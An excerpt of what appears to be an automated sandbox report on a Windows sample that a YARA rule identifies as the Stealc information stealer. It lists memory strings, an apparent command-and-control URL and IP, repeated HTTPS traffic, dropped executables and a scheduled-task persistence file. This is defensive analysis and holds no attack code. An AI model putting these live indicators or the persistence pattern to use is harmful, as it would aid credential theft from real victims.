Source: LIWYEYWSOj.exe, 00000000.00000003.1809786819.0000000005A78000.00000004.00000800.00020000.00000000.sdmp, 0fd4b3a5d7.exe, 00000009.00000003.2682629119.00000000055C0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl.rootca1.amazontrust.com/rootca1.crl0
Source: LIWYEYWSOj.exe, 00000000.00000003.1809786819.0000000005A78000.00000004.00000800.00020000.00000000.sdmp, 0fd4b3a5d7.exe, 00000009.00000003.2682629119.00000000055C0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl07
Source: LIWYEYWSOj.exe, 00000000.00000003.1809786819.0000000005A78000.00000004.00000800.00020000.00000000.sdmp, 0fd4b3a5d7.exe, 00000009.00000003.2682629119.00000000055C0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: LIWYEYWSOj.exe, 00000000.00000003.1809786819.0000000005A78000.00000004.00000800.00020000.00000000.sdmp, 0fd4b3a5d7.exe, 00000009.00000003.2682629119.00000000055C0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl00
Source: LIWYEYWSOj.exe, 00000000.00000003.1809786819.0000000005A78000.00000004.00000800.00020000.00000000.sdmp, 0fd4b3a5d7.exe, 00000009.00000003.2682629119.00000000055C0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crt.rootca1.amazontrust.com/rootca1.cer0?
Source: LIWYEYWSOj.exe, 00000000.00000003.1809786819.0000000005A78000.00000004.00000800.00020000.00000000.sdmp, 0fd4b3a5d7.exe, 00000009.00000003.2682629119.00000000055C0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0
Source: LIWYEYWSOj.exe, 00000000.00000003.1809786819.0000000005A78000.00000004.00000800.00020000.00000000.sdmp, 0fd4b3a5d7.exe, 00000009.00000003.2682629119.00000000055C0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.rootca1.amazontrust.com0:
Source: LIWYEYWSOj.exe, 00000000.00000003.1809786819.0000000005A78000.00000004.00000800.00020000.00000000.sdmp, 0fd4b3a5d7.exe, 00000009.00000003.2682629119.00000000055C0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.c.lencr.org/0
Source: LIWYEYWSOj.exe, 00000000.00000003.1809786819.0000000005A78000.00000004.00000800.00020000.00000000.sdmp, 0fd4b3a5d7.exe, 00000009.00000003.2682629119.00000000055C0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.i.lencr.org/0
Source: LIWYEYWSOj.exe, 00000000.00000003.1750526912.0000000005A8D000.00000004.00000800.00020000.00000000.sdmp, LIWYEYWSOj.exe, 00000000.00000003.1750605126.0000000005A8A000.00000004.00000800.00020000.00000000.sdmp, 0fd4b3a5d7.exe, 00000009.00000003.2625915154.00000000055AD000.00000004.00000800.00020000.00000000.sdmp, 0fd4b3a5d7.exe, 00000009.00000003.2626026465.00000000055AB000.00000004.00000800.00020000.00000000.sdmp, 0fd4b3a5d7.exe, 00000009.00000003.2626146620.00000000055AB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: LIWYEYWSOj.exe, 00000000.00000003.1833488464.0000000005A47000.00000004.00000800.00020000.00000000.sdmp, LIWYEYWSOj.exe, 00000000.00000003.1833528074.0000000005A56000.00000004.00000800.00020000.00000000.sdmp, 0fd4b3a5d7.exe, 00000009.00000003.2706283855.0000000005561000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bridge.lga1.admarketplace.net/ctp?version=16.0.0&key=1696332238301000001.2&ci=1696332238417.
Source: LIWYEYWSOj.exe, 00000000.00000003.1833488464.0000000005A47000.00000004.00000800.00020000.00000000.sdmp, LIWYEYWSOj.exe, 00000000.00000003.1833528074.0000000005A56000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bridge.lga1.ap01.net/ctp?version=16.0.0&key=1696332238301000001.1&ci=1696332238417.12791&cta
Source: LIWYEYWSOj.exe, 00000000.00000003.1750526912.0000000005A8D000.00000004.00000800.00020000.00000000.sdmp, LIWYEYWSOj.exe, 00000000.00000003.1750605126.0000000005A8A000.00000004.00000800.00020000.00000000.sdmp, 0fd4b3a5d7.exe, 00000009.00000003.2625915154.00000000055AD000.00000004.00000800.00020000.00000000.sdmp, 0fd4b3a5d7.exe, 00000009.00000003.2626026465.00000000055AB000.00000004.00000800.00020000.00000000.sdmp, 0fd4b3a5d7.exe, 00000009.00000003.2626146620.00000000055AB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: LIWYEYWSOj.exe, 00000000.00000003.1750526912.0000000005A8D000.00000004.00000800.00020000.00000000.sdmp, LIWYEYWSOj.exe, 00000000.00000003.1750605126.0000000005A8A000.00000004.00000800.00020000.00000000.sdmp, 0fd4b3a5d7.exe, 00000009.00000003.2625915154.00000000055AD000.00000004.00000800.00020000.00000000.sdmp, 0fd4b3a5d7.exe, 00000009.00000003.2626026465.00000000055AB000.00000004.00000800.00020000.00000000.sdmp, 0fd4b3a5d7.exe, 00000009.00000003.2626146620.00000000055AB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: LIWYEYWSOj.exe, 00000000.00000003.1750526912.0000000005A8D000.00000004.00000800.00020000.00000000.sdmp, LIWYEYWSOj.exe, 00000000.00000003.1750605126.0000000005A8A000.00000004.00000800.00020000.00000000.sdmp, 0fd4b3a5d7.exe, 00000009.00000003.2625915154.00000000055AD000.00000004.00000800.00020000.00000000.sdmp, 0fd4b3a5d7.exe, 00000009.00000003.2626026465.00000000055AB000.00000004.00000800.00020000.00000000.sdmp, 0fd4b3a5d7.exe, 00000009.00000003.2626146620.00000000055AB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: LIWYEYWSOj.exe, 00000000.00000003.1833488464.0000000005A47000.00000004.00000800.00020000.00000000.sdmp, LIWYEYWSOj.exe, 00000000.00000003.1833528074.0000000005A56000.00000004.00000800.00020000.00000000.sdmp, 0fd4b3a5d7.exe, 00000009.00000003.2706283855.0000000005561000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/0TegrVVRalreHILhR2WvtD_CFzj13HCDcLqqpvXSOuY.10862.jpg
Source: LIWYEYWSOj.exe, 00000000.00000003.1833488464.0000000005A47000.00000004.00000800.00020000.00000000.sdmp, LIWYEYWSOj.exe, 00000000.00000003.1833528074.0000000005A56000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: LIWYEYWSOj.exe, 00000000.00000003.1750526912.0000000005A8D000.00000004.00000800.00020000.00000000.sdmp, LIWYEYWSOj.exe, 00000000.00000003.1750605126.0000000005A8A000.00000004.00000800.00020000.00000000.sdmp, 0fd4b3a5d7.exe, 00000009.00000003.2625915154.00000000055AD000.00000004.00000800.00020000.00000000.sdmp, 0fd4b3a5d7.exe, 00000009.00000003.2626026465.00000000055AB000.00000004.00000800.00020000.00000000.sdmp, 0fd4b3a5d7.exe, 00000009.00000003.2626146620.00000000055AB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: LIWYEYWSOj.exe, 00000000.00000003.1750526912.0000000005A8D000.00000004.00000800.00020000.00000000.sdmp, LIWYEYWSOj.exe, 00000000.00000003.1750605126.0000000005A8A000.00000004.00000800.00020000.00000000.sdmp, 0fd4b3a5d7.exe, 00000009.00000003.2625915154.00000000055AD000.00000004.00000800.00020000.00000000.sdmp, 0fd4b3a5d7.exe, 00000009.00000003.2626026465.00000000055AB000.00000004.00000800.00020000.00000000.sdmp, 0fd4b3a5d7.exe, 00000009.00000003.2626146620.00000000055AB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: LIWYEYWSOj.exe, 00000000.00000003.1750526912.0000000005A8D000.00000004.00000800.00020000.00000000.sdmp, LIWYEYWSOj.exe, 00000000.00000003.1750605126.0000000005A8A000.00000004.00000800.00020000.00000000.sdmp, 0fd4b3a5d7.exe, 00000009.00000003.2625915154.00000000055AD000.00000004.00000800.00020000.00000000.sdmp, 0fd4b3a5d7.exe, 00000009.00000003.2626026465.00000000055AB000.00000004.00000800.00020000.00000000.sdmp, 0fd4b3a5d7.exe, 00000009.00000003.2626146620.00000000055AB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: LIWYEYWSOj.exe, 00000000.00000003.1833528074.0000000005A56000.00000004.00000800.00020000.00000000.sdmp, 0fd4b3a5d7.exe, 00000009.00000003.2706283855.0000000005561000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4QqmfZfYfQfafZbXfpbWfpbX7ReNxR3UIG8zInwYIFIVs9eYi
Source: 0fd4b3a5d7.exe, 00000009.00000003.2800451540.0000000000D3C000.00000004.00000020.00020000.00000000.sdmp, 0fd4b3a5d7.exe, 00000009.00000003.2658446321.0000000000D19000.00000004.00000020.00020000.00000000.sdmp, 0fd4b3a5d7.exe, 00000009.00000003.2735515582.0000000000D39000.00000004.00000020.00020000.00000000.sdmp, 0fd4b3a5d7.exe, 00000009.00000003.2730837987.0000000000D3A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://mindhandru.buzz/
Source: 0fd4b3a5d7.exe, 00000009.00000003.2731133016.0000000005563000.00000004.00000800.00020000.00000000.sdmp, 0fd4b3a5d7.exe, 00000009.00000003.2706283855.0000000005561000.00000004.00000800.00020000.00000000.sdmp, 0fd4b3a5d7.exe, 00000009.00000003.2706994506.0000000005563000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mindhandru.buzz/5s
Source: 0fd4b3a5d7.exe, 00000009.00000003.2731133016.0000000005563000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mindhandru.buzz/V
Source: LIWYEYWSOj.exe, 00000000.00000003.1879484490.00000000013DF000.00000004.00000020.00020000.00000000.sdmp, 0fd4b3a5d7.exe, 00000009.00000003.2800691430.0000000000CCC000.00000004.00000020.00020000.00000000.sdmp, 0fd4b3a5d7.exe, 00000009.00000003.2731276729.0000000000CD6000.00000004.00000020.00020000.00000000.sdmp, 0fd4b3a5d7.exe, 00000009.00000003.2800691430.0000000000CD6000.00000004.00000020.00020000.00000000.sdmp, 0fd4b3a5d7.exe, 00000009.00000003.2731276729.0000000000CD2000.00000004.00000020.00020000.00000000.sdmp, 0fd4b3a5d7.exe, 00000009.00000003.2711392422.0000000000CD6000.00000004.00000020.00020000.00000000.sdmp, 0fd4b3a5d7.exe, 00000009.00000003.2880678373.0000000000CD6000.00000004.00000020.00020000.00000000.sdmp, 0fd4b3a5d7.exe, 00000009.00000003.2880678373.0000000000CCD000.00000004.00000020.00020000.00000000.sdmp, 0fd4b3a5d7.exe, 00000009.00000003.2735688920.0000000000CEB000.00000004.00000020.00020000.00000000.sdmp, 0fd4b3a5d7.exe, 00000009.00000003.2800902313.0000000000CEB000.00000004.00000020.00020000.00000000.sdmp, 0fd4b3a5d7.exe, 00000009.00000003.2731516300.0000000000CEB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://mindhandru.buzz/api
Source: 0fd4b3a5d7.exe, 00000009.00000003.2731276729.0000000000CD2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://mindhandru.buzz/apiEX;
Source: LIWYEYWSOj.exe, 00000000.00000003.1748702745.00000000013CB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://mindhandru.buzz/apit
Source: LIWYEYWSOj.exe, 00000000.00000003.1929521842.00000000013DF000.00000004.00000020.00020000.00000000.sdmp, LIWYEYWSOj.exe, 00000000.00000003.2002916300.00000000013DF000.00000004.00000020.00020000.00000000.sdmp, 0fd4b3a5d7.exe, 00000009.00000003.2880678373.0000000000CCD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://mindhandru.buzz/apiz
Source: 0fd4b3a5d7.exe, 00000009.00000003.2735515582.0000000000D39000.00000004.00000020.00020000.00000000.sdmp, 0fd4b3a5d7.exe, 00000009.00000003.2730837987.0000000000D3A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://mindhandru.buzz/es
Source: 0fd4b3a5d7.exe, 00000009.00000003.2706062507.000000000556B000.00000004.00000800.00020000.00000000.sdmp, 0fd4b3a5d7.exe, 00000009.00000003.2658979838.0000000005570000.00000004.00000800.00020000.00000000.sdmp, 0fd4b3a5d7.exe, 00000009.00000003.2706840404.0000000005575000.00000004.00000800.00020000.00000000.sdmp, 0fd4b3a5d7.exe, 00000009.00000003.2681797287.0000000005570000.00000004.00000800.00020000.00000000.sdmp, 0fd4b3a5d7.exe, 00000009.00000003.2658281278.0000000005570000.00000004.00000800.00020000.00000000.sdmp, 0fd4b3a5d7.exe, 00000009.00000003.2681540499.0000000005570000.00000004.00000800.00020000.00000000.sdmp, 0fd4b3a5d7.exe, 00000009.00000003.2657910026.000000000556E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mindhandru.buzz/hKrwS/0t
Source: 0fd4b3a5d7.exe, 00000009.00000003.2681612509.0000000005561000.00000004.00000800.00020000.00000000.sdmp, 0fd4b3a5d7.exe, 00000009.00000003.2682901946.0000000005561000.00000004.00000800.00020000.00000000.sdmp, 0fd4b3a5d7.exe, 00000009.00000003.2706283855.0000000005561000.00000004.00000800.00020000.00000000.sdmp, 0fd4b3a5d7.exe, 00000009.00000003.2706994506.0000000005563000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mindhandru.buzz/j
Source: LIWYEYWSOj.exe, 00000000.00000003.1879438651.0000000001439000.00000004.00000020.00020000.00000000.sdmp, LIWYEYWSOj.exe, 00000000.00000003.1861257745.0000000001439000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://mindhandru.buzz/ms
Source: 0fd4b3a5d7.exe, 00000009.00000003.2880159221.0000000000D38000.00000004.00000020.00020000.00000000.sdmp, 0fd4b3a5d7.exe, 00000009.00000003.2800451540.0000000000D3C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://mindhandru.buzz/pi
Source: LIWYEYWSOj.exe, 00000000.00000003.1929326880.0000000001439000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://mindhandru.buzz/piJ
Source: LIWYEYWSOj.exe, 00000000.00000003.1861257745.0000000001439000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://mindhandru.buzz/s
Source: LIWYEYWSOj.exe, 00000000.00000003.1929521842.00000000013DF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://mindhandru.buzz:443/api
Source: LIWYEYWSOj.exe, 00000000.00000003.1751165057.0000000005AA2000.00000004.00000800.00020000.00000000.sdmp, 0fd4b3a5d7.exe, 00000009.00000003.2626516565.00000000055C2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.microsof
Source: 0fd4b3a5d7.exe, 00000009.00000003.2684124273.0000000005684000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: 0fd4b3a5d7.exe, 00000009.00000003.2684124273.0000000005684000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.all
Source: LIWYEYWSOj.exe, 00000000.00000003.1751165057.0000000005AA0000.00000004.00000800.00020000.00000000.sdmp, LIWYEYWSOj.exe, 00000000.00000003.1787943219.0000000005A99000.00000004.00000800.00020000.00000000.sdmp, LIWYEYWSOj.exe, 00000000.00000003.1788120825.0000000005A99000.00000004.00000800.00020000.00000000.sdmp, LIWYEYWSOj.exe, 00000000.00000003.1751236778.0000000005A99000.00000004.00000800.00020000.00000000.sdmp, 0fd4b3a5d7.exe, 00000009.00000003.2626516565.00000000055C0000.00000004.00000800.00020000.00000000.sdmp, 0fd4b3a5d7.exe, 00000009.00000003.2626656165.00000000055B9000.00000004.00000800.00020000.00000000.sdmp, 0fd4b3a5d7.exe, 00000009.00000003.2658219738.00000000055B9000.00000004.00000800.00020000.00000000.sdmp, 0fd4b3a5d7.exe, 00000009.00000003.2657846774.00000000055B9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016
Source: LIWYEYWSOj.exe, 00000000.00000003.1751236778.0000000005A74000.00000004.00000800.00020000.00000000.sdmp, 0fd4b3a5d7.exe, 00000009.00000003.2626656165.0000000005594000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Examples
Source: LIWYEYWSOj.exe, 00000000.00000003.1751165057.0000000005AA0000.00000004.00000800.00020000.00000000.sdmp, LIWYEYWSOj.exe, 00000000.00000003.1787943219.0000000005A99000.00000004.00000800.00020000.00000000.sdmp, LIWYEYWSOj.exe, 00000000.00000003.1788120825.0000000005A99000.00000004.00000800.00020000.00000000.sdmp, LIWYEYWSOj.exe, 00000000.00000003.1751236778.0000000005A99000.00000004.00000800.00020000.00000000.sdmp, 0fd4b3a5d7.exe, 00000009.00000003.2626516565.00000000055C0000.00000004.00000800.00020000.00000000.sdmp, 0fd4b3a5d7.exe, 00000009.00000003.2626656165.00000000055B9000.00000004.00000800.00020000.00000000.sdmp, 0fd4b3a5d7.exe, 00000009.00000003.2658219738.00000000055B9000.00000004.00000800.00020000.00000000.sdmp, 0fd4b3a5d7.exe, 00000009.00000003.2657846774.00000000055B9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17
Source: LIWYEYWSOj.exe, 00000000.00000003.1751236778.0000000005A74000.00000004.00000800.00020000.00000000.sdmp, 0fd4b3a5d7.exe, 00000009.00000003.2626656165.0000000005594000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17Install
Source: LIWYEYWSOj.exe, 00000000.00000003.1833488464.0000000005A47000.00000004.00000800.00020000.00000000.sdmp, LIWYEYWSOj.exe, 00000000.00000003.1833528074.0000000005A56000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_7548d4575af019e4c148ccf1a78112802e66a0816a72fc94
Source: LIWYEYWSOj.exe, 00000000.00000003.1750526912.0000000005A8D000.00000004.00000800.00020000.00000000.sdmp, LIWYEYWSOj.exe, 00000000.00000003.1750605126.0000000005A8A000.00000004.00000800.00020000.00000000.sdmp, 0fd4b3a5d7.exe, 00000009.00000003.2625915154.00000000055AD000.00000004.00000800.00020000.00000000.sdmp, 0fd4b3a5d7.exe, 00000009.00000003.2626026465.00000000055AB000.00000004.00000800.00020000.00000000.sdmp, 0fd4b3a5d7.exe, 00000009.00000003.2626146620.00000000055AB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: LIWYEYWSOj.exe, 00000000.00000003.1833488464.0000000005A47000.00000004.00000800.00020000.00000000.sdmp, LIWYEYWSOj.exe, 00000000.00000003.1833528074.0000000005A56000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.expedia.com/?locale=en_US&siteid=1&semcid=US.UB.ADMARKETPLACE.GT-C-EN.HOTEL&SEMDTL=a1219
Source: LIWYEYWSOj.exe, 00000000.00000003.1750526912.0000000005A8D000.00000004.00000800.00020000.00000000.sdmp, LIWYEYWSOj.exe, 00000000.00000003.1750605126.0000000005A8A000.00000004.00000800.00020000.00000000.sdmp, 0fd4b3a5d7.exe, 00000009.00000003.2625915154.00000000055AD000.00000004.00000800.00020000.00000000.sdmp, 0fd4b3a5d7.exe, 00000009.00000003.2626026465.00000000055AB000.00000004.00000800.00020000.00000000.sdmp, 0fd4b3a5d7.exe, 00000009.00000003.2626146620.00000000055AB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: 0fd4b3a5d7.exe, 00000009.00000003.2684124273.0000000005684000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.VsJpOAWrHqB2
Source: 0fd4b3a5d7.exe, 00000009.00000003.2684124273.0000000005684000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.n0g9CLHwD9nR
Source: LIWYEYWSOj.exe, 00000000.00000003.1811205298.0000000005B67000.00000004.00000800.00020000.00000000.sdmp, 0fd4b3a5d7.exe, 00000009.00000003.2684124273.0000000005684000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/Firefox
Source: 0fd4b3a5d7.exe, 00000009.00000003.2684124273.0000000005684000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: LIWYEYWSOj.exe, 00000000.00000003.1811205298.0000000005B67000.00000004.00000800.00020000.00000000.sdmp, 0fd4b3a5d7.exe, 00000009.00000003.2684124273.0000000005684000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.

Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49820
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49838 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49813 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49852 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49831 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49838
Source: unknown	Network traffic detected: HTTP traffic on port 49736 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49813
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49734
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49831
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49852
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49820 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49870
Source: unknown	Network traffic detected: HTTP traffic on port 49870 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49742 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49806 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49806
Source: unknown	Network traffic detected: HTTP traffic on port 49846 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49846
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443

Source: unknown	HTTPS traffic detected: 172.67.165.185:443 -> 192.168.2.4:49731 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.165.185:443 -> 192.168.2.4:49732 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.165.185:443 -> 192.168.2.4:49733 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.165.185:443 -> 192.168.2.4:49734 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.165.185:443 -> 192.168.2.4:49735 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.165.185:443 -> 192.168.2.4:49736 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.165.185:443 -> 192.168.2.4:49737 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.165.185:443 -> 192.168.2.4:49742 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.165.185:443 -> 192.168.2.4:49806 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.165.185:443 -> 192.168.2.4:49813 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.165.185:443 -> 192.168.2.4:49820 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.165.185:443 -> 192.168.2.4:49831 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.165.185:443 -> 192.168.2.4:49838 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.165.185:443 -> 192.168.2.4:49846 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.165.185:443 -> 192.168.2.4:49852 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.165.185:443 -> 192.168.2.4:49870 version: TLS 1.2

System Summary

Malicious sample detected (through community Yara rule)

Source: 4.2.LEDU23VRAEI6A5X1LTGJU.exe.670000.0.unpack, type: UNPACKEDPE

Matched rule: Finds Stealc standalone samples (or dumps) based on the strings Author: Sekoia.io

PE file contains section with special chars

Source: LIWYEYWSOj.exe	Static PE information: section name:
Source: LIWYEYWSOj.exe	Static PE information: section name: .idata
Source: LIWYEYWSOj.exe	Static PE information: section name:
Source: LEDU23VRAEI6A5X1LTGJU.exe.0.dr	Static PE information: section name:
Source: LEDU23VRAEI6A5X1LTGJU.exe.0.dr	Static PE information: section name: .idata
Source: ZEV545Y6VQAOO1ZG8Z5WIIWMJ.exe.0.dr	Static PE information: section name:
Source: ZEV545Y6VQAOO1ZG8Z5WIIWMJ.exe.0.dr	Static PE information: section name: .idata
Source: skotes.exe.5.dr	Static PE information: section name:
Source: skotes.exe.5.dr	Static PE information: section name: .idata
Source: random[1].exe.7.dr	Static PE information: section name:
Source: random[1].exe.7.dr	Static PE information: section name: .rsrc
Source: random[1].exe.7.dr	Static PE information: section name: .idata
Source: 0fd4b3a5d7.exe.7.dr	Static PE information: section name:
Source: 0fd4b3a5d7.exe.7.dr	Static PE information: section name: .rsrc
Source: 0fd4b3a5d7.exe.7.dr	Static PE information: section name: .idata

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Code function: 7_2_00C4CB97 NtFlushProcessWriteBuffers,NtFlushProcessWriteBuffers,

7_2_00C4CB97

Source: C:\Users\user\AppData\Local\Temp\ZEV545Y6VQAOO1ZG8Z5WIIWMJ.exe

File created: C:\Windows\Tasks\skotes.job

Jump to behavior

Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	Code function: 0_3_013E0889	0_3_013E0889
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	Code function: 0_3_0144190C	0_3_0144190C
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	Code function: 0_3_0144190C	0_3_0144190C
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	Code function: 0_3_0144190C	0_3_0144190C
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	Code function: 0_3_0144190C	0_3_0144190C
Source: C:\Users\user\AppData\Local\Temp\ZEV545Y6VQAOO1ZG8Z5WIIWMJ.exe	Code function: 5_2_00255C83	5_2_00255C83
Source: C:\Users\user\AppData\Local\Temp\ZEV545Y6VQAOO1ZG8Z5WIIWMJ.exe	Code function: 5_2_0025735A	5_2_0025735A
Source: C:\Users\user\AppData\Local\Temp\ZEV545Y6VQAOO1ZG8Z5WIIWMJ.exe	Code function: 5_2_00298860	5_2_00298860
Source: C:\Users\user\AppData\Local\Temp\ZEV545Y6VQAOO1ZG8Z5WIIWMJ.exe	Code function: 5_2_00254DE0	5_2_00254DE0
Source: C:\Users\user\AppData\Local\Temp\ZEV545Y6VQAOO1ZG8Z5WIIWMJ.exe	Code function: 5_2_00254B30	5_2_00254B30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_00C778BB	6_2_00C778BB
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_00C77049	6_2_00C77049
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_00C78860	6_2_00C78860
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_00C731A8	6_2_00C731A8
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_00C34B30	6_2_00C34B30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_00C34DE0	6_2_00C34DE0
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_00C72D10	6_2_00C72D10
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_00C7779B	6_2_00C7779B
